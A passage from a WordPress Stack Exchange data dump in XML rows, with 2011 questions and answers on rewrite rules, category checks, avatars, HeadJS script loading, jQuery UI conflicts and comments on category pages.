  <row Id="7614" PostTypeId="2" ParentId="7588" CreationDate="2011-01-24T11:09:58.777" Score="0" ViewCount="" Body="&lt;p&gt;I see a second &lt;code&gt;?&lt;/code&gt; in your query variables (before the &lt;code&gt;cls&lt;/code&gt; query variable), probably from experimenting with the commented-out form, I think you want to use &lt;code&gt;&amp;amp;&lt;/code&gt; there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your &lt;code&gt;query_vars&lt;/code&gt; hook currently adds the &lt;code&gt;id&lt;/code&gt; variable, but you use &lt;code&gt;cls&lt;/code&gt; and &lt;code&gt;ch&lt;/code&gt; in your rewrite rule, so this will not have an effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are changing the rewrite rules I recommend &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;my rewrite analyzer plugin&lt;/a&gt; (soon in the repository, &lt;a href=&quot;http://dl.dropbox.com/u/7057637/monkeyman-rewrite-analyzer.zip&quot; rel=&quot;nofollow&quot;&gt;but get the current version via Dropbox&lt;/a&gt;), it helps you debug these things.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-24T11:09:58.777" CommentCount="3" />
  <row Id="7615" PostTypeId="2" ParentId="7612" CreationDate="2011-01-24T12:04:35.083" Score="0" ViewCount="" Body="&lt;p&gt;If i understand right your &quot;post_is_in_descendant_category&quot; function checks if a post is descendant of a category and you want to check if a category is descentand. If so the add this function to your functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function is_desc_cat($cats, $_post = null) {&#xA;  foreach ((array)$cats as $cat) {&#xA;    if (in_category($cat, $_post)) {&#xA;      return true;&#xA;    } else {&#xA;      if (!is_int($cat)) $cat = get_cat_ID($cat);&#xA;      $descendants = get_term_children($cat, 'category');&#xA;      if ($descendants &amp;amp;&amp;amp; in_category($descendants, $_post)) return true;&#xA;    }&#xA;  }&#xA;&#xA;return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and use it  like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_desc_cat(&quot;foo&quot;)) {&#xA;  // use foo.css&#xA;} else {&#xA;  // use default.css&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-10T12:01:26.833" LastActivityDate="2011-05-10T12:01:26.833" CommentCount="2" />
  <row Id="7616" PostTypeId="2" ParentId="7612" CreationDate="2011-01-24T12:04:52.517" Score="1" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat_id = $wp_query-&amp;gt;get_queried_object_id();&#xA;$parents = explode( '/', get_category_parents( $cat_id, false ) );&#xA;&#xA;if( in_array( 'foo', $parents ) ) {&#xA;&#xA;}&#xA;elseif( in_array( 'cat2', $parents ) ) {&#xA;&#xA;}&#xA;else {&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-24T12:04:52.517" />
  <row Id="7617" PostTypeId="2" ParentId="7523" CreationDate="2011-01-24T13:19:24.920" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Scott B:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are talking 5 or 10 categories then just save them as a comma-separated string of IDs in using &lt;code&gt;update_option()&lt;/code&gt; and use it as you suggested with your &lt;code&gt;wp_list_categories()&lt;/code&gt; &lt;code&gt;'exclude'&lt;/code&gt; argument. And this answer should show you how to add a field to the category screen:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1395/adding-custom-field-to-taxonomy-input-panel&quot;&gt;Adding Custom Field to Taxonomy Input :Panel&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-24T13:19:24.920" />
  <row Id="7618" PostTypeId="1" CreationDate="2011-01-24T13:52:51.400" Score="0" ViewCount="89" Body="&lt;p&gt;I started using &lt;a href=&quot;http://wordpress.org/extend/plugins/headspace2/&quot; rel=&quot;nofollow&quot;&gt;HeadSpace2&lt;/a&gt;, a meta plugin for WordPress, and it works great so far. I even managed to get the Google description that I wanted with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's call my website for &quot;HomePage&quot;, and the head title is &quot;Funny Stuff&quot;.&lt;br&gt;&#xA;When people access the front page, it shows up as &lt;code&gt;HomePage | HomePage | Funny Stuff&lt;/code&gt;.&lt;br&gt;&#xA;If people click a link to a post, it says &lt;code&gt;Funny Stuff | HomePage&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix so it only says &lt;code&gt;HomePage | Funny Stuff&lt;/code&gt; and not &lt;code&gt;HomePage | HomePage | Funny Stuff&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2236" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-24T16:30:38.953" LastActivityDate="2011-01-24T16:30:38.953" Title="HeadSpace2 double title on homepage" Tags="&lt;title&gt;" CommentCount="1" />
  <row Id="7619" PostTypeId="2" ParentId="3092" CreationDate="2011-01-24T13:53:06.533" Score="0" ViewCount="" Body="&lt;p&gt;As @Rarst mentioned in the previous comment this is going to be patched in WP3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template hierarchy is &quot;archive-customposttypename.php&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://upload.wikimedia.org/wikipedia/commons/3/3d/Wordpress_Template_Hierarchy.png&quot; rel=&quot;nofollow&quot;&gt;WordPress 3.1 template hierarchy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1298" LastActivityDate="2011-01-24T13:53:06.533" />
  <row Id="7620" PostTypeId="1" AcceptedAnswerId="7623" CreationDate="2011-01-24T14:51:02.543" Score="0" ViewCount="257" Body="&lt;p&gt;Is there a way o changing user's avatar without plugins? Why there's no &quot;Avatar Upload&quot; section in Users &gt; Your Profile?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't use a plugin. Am I blind or being forced to use Gravatar? ;/&lt;/p&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-24T16:00:01.720" LastActivityDate="2011-01-25T05:29:42.947" Title="How to change user`s avatar?" Tags="&lt;users&gt;&lt;avatar&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" />
  <row Id="7621" PostTypeId="1" AcceptedAnswerId="7622" CreationDate="2011-01-24T14:53:00.563" Score="5" ViewCount="1130" Body="&lt;p&gt;I want to load head js first and then all enqueued scripts into it's function. Like so...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;&amp;gt;/js/head.load.min.js&quot; type=&quot;text/javascript&quot; charset=&quot;UTF-8&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;head.js(&quot;/path/to/jquery.js&quot;, &quot;/google/analytics.js&quot;, &quot;/js/site.js&quot;, function() {&#xA;&#xA;   // all done&#xA;&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those that don't know HeadJS is the 2.30KB script that speeds up, simplifies and modernizes your site...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://headjs.com/&quot; rel=&quot;nofollow&quot;&gt;http://headjs.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1925" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-24T16:35:06.497" LastActivityDate="2011-02-05T14:55:44.047" Title="How to use Head JS with all enqueued scripts?" Tags="&lt;javascript&gt;&lt;performance&gt;&lt;wp-enqueue-script&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="7622" PostTypeId="2" ParentId="7621" CreationDate="2011-01-24T15:12:15.673" Score="7" ViewCount="" Body="&lt;p&gt;You should be forewarned that not all plugins/themes use enqueue. When I first started dealing with all the JavaScripts and CSS files outputed I just hooked into the enqueued files. This resulted in me only getting 2 out of 10 JavaScript files and 1 out of 3 CSS files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some quick PoCs. Neither tested but meant to put you in the right direction, if you can code. Once I get home I'll whack together something more fitting and functional.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_print_scripts','head_files');&#xA;function head_files(){&#xA;&#xA;    global $wp_scripts, $auto_compress_scripts;&#xA;&#xA;    print 'print out head.js';  &#xA;&#xA;    $queue = $wp_scripts-&amp;gt;queue;&#xA;        $wp_scripts-&amp;gt;all_deps($queue);&#xA;        $to_do = $wp_scripts-&amp;gt;to_do;&#xA;    $headArray = array();&#xA;        foreach ($to_do as $key =&amp;gt; $handle) {&#xA;            $src = $wp_scripts-&amp;gt;registered[$handle]-&amp;gt;src;&#xA;        $headArray[] = $src;&#xA;    }&#xA;&#xA;    print 'print out head.js(&quot;'.implode(&quot;'&quot;,$headArray.'&quot;)';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Basically swiped most of the code from &lt;a href=&quot;http://wordpress.org/extend/plugins/js-css-script-optimizer/&quot; rel=&quot;nofollow&quot;&gt;JS &amp;amp; CSS Script Optimizer&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wpsupercache_buffer', 'head_files' );&#xA;function head_files($buffer){&#xA;    if ( $fileType == &quot;js&quot; ){&#xA;            preg_match_all('~&amp;lt;script.*(type=&quot;[&quot;\']text/javascript[&quot;\'].*)?src=[&quot;\'](.*)[&quot;\'].*(type=[&quot;\']text/javascript[&quot;\'].*)?&amp;gt;&amp;lt;/script&amp;gt;~iU',$content,$matches);&#xA;            $headArray = $matches[2];&#xA;    }&#xA;&#xA;&#xA;    print 'print out head.js';  &#xA;&#xA;    print 'print out head.js(&quot;'.implode(&quot;'&quot;,$headArray.'&quot;)';&#xA;    return $buffer;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using WP Super Cache output buffering. &lt;/p&gt;&#xA;" OwnerUserId="2596" LastActivityDate="2011-01-24T15:12:15.673" CommentCount="3" />
  <row Id="7623" PostTypeId="2" ParentId="7620" CreationDate="2011-01-24T15:13:36.293" Score="4" ViewCount="" Body="&lt;p&gt;Avatars are meant to be controlled by the user, not by you.  So yes, in a way, you're being forced to use the Gravatar service.  But remember, it gives the user the ability to use the same avatar anywhere, and you can always restrict the display of a gravatar based on content ratings (G, PG, PG-13, R).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gravatar is a hosted service, which is why there's no &quot;Upload Avatar&quot; section in the profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You say you &quot;can't use a plugin,&quot; but really that's the only way you can add features.  If you want to use something &lt;em&gt;other&lt;/em&gt; than Gravatar, you'll need to load a plug-in to support it.  There are a few plug-ins that support local avatars:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/add-local-avatar/&quot; rel=&quot;nofollow&quot;&gt;Add Local Avatar&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-local-avatars/&quot; rel=&quot;nofollow&quot;&gt;Simple Local Avatars&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Otherwise, I recommend you educate your users on what Gravatars are and how to use them.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-24T15:13:36.293" CommentCount="7" />
  <row Id="7624" PostTypeId="2" ParentId="7595" CreationDate="2011-01-24T15:45:31.213" Score="1" ViewCount="" Body="&lt;p&gt;I've found Link Library to be pretty flexible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/link-library/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/link-library/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2604" LastActivityDate="2011-01-24T15:45:31.213" CommentCount="1" />
  <row Id="7625" PostTypeId="2" ParentId="7613" CreationDate="2011-01-24T16:01:53.620" Score="1" ViewCount="" Body="&lt;p&gt;I've read about this that you would have to fool WordPress into thinking that you are on a single post to get the comments template and have found a way to do that.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;as  Jan Fabry  pointed out you need to mind the $POST-&gt;ID, so you will need to create a stub post for each category or tag , just for the ID so that post will hold all comments.&#xA;the code was updated.&#xA;in your themes archive.php or category.php just after the loop paste this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//save the true post id&#xA;$true_id = $post-&amp;gt;ID;&#xA;// populate $post with the stub post&#xA;query_posts('p=STUB_POST_ID');&#xA;the_post();&#xA;//fool wordpress&#xA;$wp_query-&amp;gt;is_single = true;&#xA;//get comments&#xA;comments_template();&#xA;//reset wordpress to ture post&#xA;$wp_query-&amp;gt;is_single = false;&#xA;query_posts(&quot;p=$true_id&quot;);&#xA;the_post();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you will need to change the STUB_POST_ID with the stub post id!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you can use a conditional tag to change to the right stub id like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_category('foo')){&#xA;     $post-&amp;gt;ID = 25;&#xA;}elseif (is_category('bar')){&#xA;     $post-&amp;gt;ID = 30;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;weird but it works :)&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-01-24T17:11:30.590" LastActivityDate="2011-01-24T17:11:30.590" CommunityOwnedDate="2011-01-24T17:11:30.590" CommentCount="2" />
  <row Id="7626" PostTypeId="1" AcceptedAnswerId="8524" CreationDate="2011-01-24T16:02:12.877" Score="1" ViewCount="520" Body="&lt;p&gt;Does anyone have experience with using the jQuery UI plugins in the Wordpress admin area? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I´ve been trying to use the datepicker functionality in jQuery UI, but its conflicting with the built- in jQuery in wordpress admin. &lt;a href=&quot;http://docs.jquery.com/UI/Datepicker&quot; rel=&quot;nofollow&quot;&gt;http://docs.jquery.com/UI/Datepicker&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the error message I get in console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught TypeError: Cannot read property 'apply' of undefined&#xA;a.widget.a.extend._trigger&#xA;b.Widget._createWidget&#xA;b.widget.b&#xA;b.widget.bridge.b.fn&#xA;c.extend.each&#xA;c.fn.c.each&#xA;b.widget.bridge.b.fn&#xA;postboxes.init&#xA;postboxes.add_postbox_toggles&#xA;(anonymous function)&#xA;c.extend.ready&#xA;L&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could I possibly do to avoid this conflict?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding the code used to include the jquery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_register_script( 'jquery-tooltip', 'http://cdn.jquerytools.org/1.2.5/jquery.tools.min.js');&#xA;wp_register_script( 'jquery-ui-datepicker', get_bloginfo('template_directory') . '/js/jquery-ui-1.8.8.custom.min.js' );&#xA;wp_register_script( 'jquery-admin-internal', get_bloginfo('template_directory') . '/js/jquery.admin.internal.js' );&#xA;wp_register_script( 'jquery-internal', get_bloginfo('template_directory') . '/js/jquery.internal.js' );&#xA;&#xA;function enqueue_admin_jquery() {&#xA;wp_enqueue_script('jquery-ui-datepicker');&#xA;wp_enqueue_script('jquery-admin-internal');&#xA;}&#xA;add_action('admin_init', 'enqueue_admin_jquery');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1635" LastEditorUserId="1635" LastEditorDisplayName="" LastEditDate="2011-01-24T19:15:48.330" LastActivityDate="2011-03-09T04:06:13.507" Title="jquery UI in wordpress admin" Tags="&lt;wp-admin&gt;&lt;jquery&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="7627" PostTypeId="2" ParentId="7473" CreationDate="2011-01-24T16:09:17.190" Score="3" ViewCount="" Body="&lt;p&gt;Alternative for people reading this with a fear for SQL............... (or finding this via Google after Januari 2011): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wait for this action until 3.1 comes out, then go to a post, check all comments and bulk &quot;move to trash&quot; :) (it should come out any day now) (http://wordpress.org/about/roadmap/)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(or download 3.1 RC3 from &lt;a href=&quot;http://wordpress.org/download/release-archive/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/download/release-archive/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Example:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://edward.de.leau.net/files/bulkremove.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-01-24T16:17:12.297" LastActivityDate="2011-01-24T16:17:12.297" />
  <row Id="7628" PostTypeId="1" AcceptedAnswerId="7630" CreationDate="2011-01-24T16:12:13.650" Score="0" ViewCount="119" Body="&lt;p&gt;How can I change the for loop below so that I can assign the array's &quot;key&quot; value as the &quot;value&quot; for each input instead of the array's &quot;option&quot; value as I'm now doing (I still want to echo the array's &quot;option&quot; value as the label)?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myradiooptions = array(&quot;grid1&quot; =&amp;gt; &quot;Grid View (default)&quot;, &quot;list1&quot; =&amp;gt; &quot;List View (1 column)&quot;, &quot;list2&quot; =&amp;gt; &quot;List View (2 column)&quot; );&#xA;&#xA;$options = array (&#xA;array( &quot;name&quot; =&amp;gt; &quot;My Theme Options&quot;,&quot;type&quot; =&amp;gt; &quot;title&quot;), array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;&#xA;array(  &quot;name&quot; =&amp;gt; &quot;Category Layout&quot;,&#xA;     &quot;desc&quot; =&amp;gt; &quot;description goes here&quot;,&#xA;     &quot;id&quot; =&amp;gt; &quot;my_category_layout&quot;,&#xA;     &quot;type&quot; =&amp;gt; &quot;radio&quot;,&#xA;    &quot;options&quot; =&amp;gt; $myradiooptions ),&#xA;&#xA;    ...etc}&#xA;&#xA;//switch, case &quot;radio&quot;:&#xA;?&amp;gt;&#xA;&amp;lt;li class=&quot;section&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;left&quot; for=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $value['name']; ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;?php $count=1;foreach ($value['options'] as $option) { ?&amp;gt;&#xA;    &amp;lt;input type=&quot;radio&quot; name=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; id=&quot;&amp;lt;?php echo $count; ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $option; ?&amp;gt;&quot; &amp;lt;?php checked($option, get_settings($value['id'])); ?&amp;gt;/&amp;gt;&amp;lt;label style=&quot;color:#666; margin:0 20px 0 5px;&quot; for=&quot;&amp;lt;?php echo $count; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $option; ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;  &amp;lt;?php $count++;} ?&amp;gt;&#xA;    &amp;lt;label class=&quot;description&quot; style=&quot;margin-top:-5px;&quot;&amp;gt;&amp;lt;?php echo $value['desc']; ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php&#xA;break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-24T16:19:42.450" LastActivityDate="2011-01-24T16:30:29.490" Title="How can I access 'key' and 'value' from an array in a for loop?" Tags="&lt;loop&gt;&lt;array&gt;" AnswerCount="1" />
  <row Id="7629" PostTypeId="1" AcceptedAnswerId="7631" CreationDate="2011-01-24T16:27:20.707" Score="2" ViewCount="34" Body="&lt;p&gt;I want to make a weblog that has with every date 1 or more weblog posts, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Januari 24 Year 41 : Roman Emperor Caligula was murdered by Cassius Chaerea and the disgruntled Praetorian Guards. Caligula's uncle Claudius was proclaimed emperor in his place.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Januari 1 Year 153 BC : Roman consuls begin their year in office.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Februari 1 Year 2038 : Humans survived&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best way to do this in WordPress if I want to support URL hacking?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. custom fields + custom posts + custom taxonomy was the first thing I thought of but maybe there are better alternatives relying on the current date system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;related: &lt;a href=&quot;http://en.wikipedia.org/wiki/Unix_time#Representing_the_number&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Unix_time#Representing_the_number&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-01-24T16:41:03.763" LastActivityDate="2011-01-24T21:36:32.667" Title="What is the best workaround for supporting all existing DATEs?" Tags="&lt;date-time&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="7630" PostTypeId="2" ParentId="7628" CreationDate="2011-01-24T16:30:29.490" Score="0" ViewCount="" Body="&lt;p&gt;If I am understanding you correctly just change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $count=1;foreach ($value['options'] as $key =&amp;gt; $option) { ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you can access the key from $key.&lt;/p&gt;&#xA;" OwnerUserId="2596" LastActivityDate="2011-01-24T16:30:29.490" CommentCount="1" />
  <row Id="7631" PostTypeId="2" ParentId="7629" CreationDate="2011-01-24T16:37:23.287" Score="1" ViewCount="" Body="&lt;p&gt;Unix time is defined as the amount of seconds since the &quot;Unix epoch,&quot; which is 00:00:00 UTC on 1 January 1970. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works both forwards and backwards -- so technically you shouldn't have trouble representing dates all the way back to Jan. 1, year 1, but the numbers would be negative and extremely large.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: PHP appears not to be able to handle those dates easily, at least according to one basic test. Both &lt;code&gt;echo $time = strtotime(&quot;January 1, 1&quot;);&lt;/code&gt; and &lt;code&gt;echo $time = strtotime(&quot;January 1, 0001&quot;);&lt;/code&gt; result in &lt;code&gt;978325200&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the best option is, as you muse, categories. Whether or not you want to deal with custom categories might be a matter of preference, but I suspect normal categories with the names you lay out would work just fine.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastEditorUserId="1860" LastEditorDisplayName="" LastEditDate="2011-01-24T16:51:40.413" LastActivityDate="2011-01-24T16:51:40.413" CommentCount="2" />
  <row Id="7632" PostTypeId="2" ParentId="7613" CreationDate="2011-01-24T16:56:36.380" Score="1" ViewCount="" Body="&lt;p&gt;As Jan Fabry points out this is not possible by default as WordPress stores comments against post and post-like content and not the tags or organization of that content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, the template is so flexible that you could simple use the tag.php template to mimic this -- using something like &lt;a href=&quot;http://disqus.com/&quot; rel=&quot;nofollow&quot;&gt;Disqus&lt;/a&gt;, &lt;a href=&quot;http://aboutecho.com/&quot; rel=&quot;nofollow&quot;&gt;JS-Kit/Echo&lt;/a&gt; or the &lt;a href=&quot;http://developers.facebook.com/docs/reference/plugins/comments&quot; rel=&quot;nofollow&quot;&gt;Facebook commenting plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my experience, external commenting software tends to use a variation on permalinks to uniquely identify conversations and WordPress tag templates fit the bill quite nicely.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-01-24T16:56:36.380" />
  <row Id="7633" PostTypeId="2" ParentId="7331" CreationDate="2011-01-24T17:12:31.850" Score="0" ViewCount="" Body="&lt;p&gt;Following the answer I ended up with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$s_query = new WP_Query( array(&#xA;    'suppress_filters' =&amp;gt; false,&#xA;    'post_type' =&amp;gt; 'slide'));&#xA;while($s_query-&amp;gt;have_posts()):$s_query-&amp;gt;the_post();&#xA;&#xA;    $sname = $post-&amp;gt;post_title;&#xA;    $s_output2 ='';&#xA;    $s_output2 .= '&amp;lt;option value=&quot;'.$post-&amp;gt;ID.'&quot; &amp;gt;';&#xA;    $s_output2 .= $post-&amp;gt;post_title;&#xA;    $s_output2 .= '&amp;lt;/option&amp;gt;';&#xA;    echo $s_output2;&#xA;&#xA;endwhile ;&#xA;wp_reset_query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2597" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-25T08:43:57.420" LastActivityDate="2011-01-25T08:43:57.420" />
  <row Id="7634" PostTypeId="1" CreationDate="2011-01-24T17:49:26.577" Score="0" ViewCount="126" Body="&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the client site I have 5 page 1) Home 2) product 3) Services 4) Contact us 5) Blog&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only from the blog page I want to remove 2) product and 3) Services but not from other pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any Plugin to do this?&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-25T07:22:39.173" LastActivityDate="2011-08-25T11:34:35.120" Title="How to remove some specfic navigation links only from selected page/pages?" Tags="&lt;plugin-recommendation&gt;&lt;menus&gt;&lt;navigation&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="7635" PostTypeId="1" CreationDate="2011-01-24T18:10:41.657" Score="1" ViewCount="212" Body="&lt;p&gt;Recently, I've been thinking of implementing an easy and simple localization feature in my &#xA;WordPress site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about adding a custom taxonomy to my posts, and pages called &quot;Languages.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when you click the link of the language it just filters the posts with that Language term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using WPML and it is awesome, but I just wanted an embedded implementation for my theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have anyone tried this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the pros and downsides of doing this?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-08-23T22:33:55.167" Title="Making a theme multilingual by adding a custom taxonomy to posts and pages called &quot;Languages&quot;?" Tags="&lt;multi-language&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="7636" PostTypeId="2" ParentId="7634" CreationDate="2011-01-24T18:26:49.867" Score="0" ViewCount="" Body="&lt;p&gt;It depends on how your page links are added. Are they listed through wp_list_pages()? Manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regardless of how you've done it, you will be able to exclude particular page links on certain pages by using conditional tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;if (!is_page('contact-us'))&#xA;{&#xA;// pages to list when not on the contact page&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-24T18:26:49.867" CommentCount="5" />
  <row Id="7637" PostTypeId="1" CreationDate="2011-01-24T19:02:59.907" Score="0" ViewCount="47" Body="&lt;p&gt;I have a multi author blog, I want to restrict authors from adding custom fields with a particular key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I dont want authors to edit or add the custom field &quot;&lt;strong&gt;rating&lt;/strong&gt;&quot;&lt;/p&gt;&#xA;" OwnerUserId="2193" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-01-24T19:54:58.963" LastActivityDate="2011-01-24T19:54:58.963" Title="Only admin should be able to add a particular custom field" Tags="&lt;custom-field&gt;" CommentCount="3" />
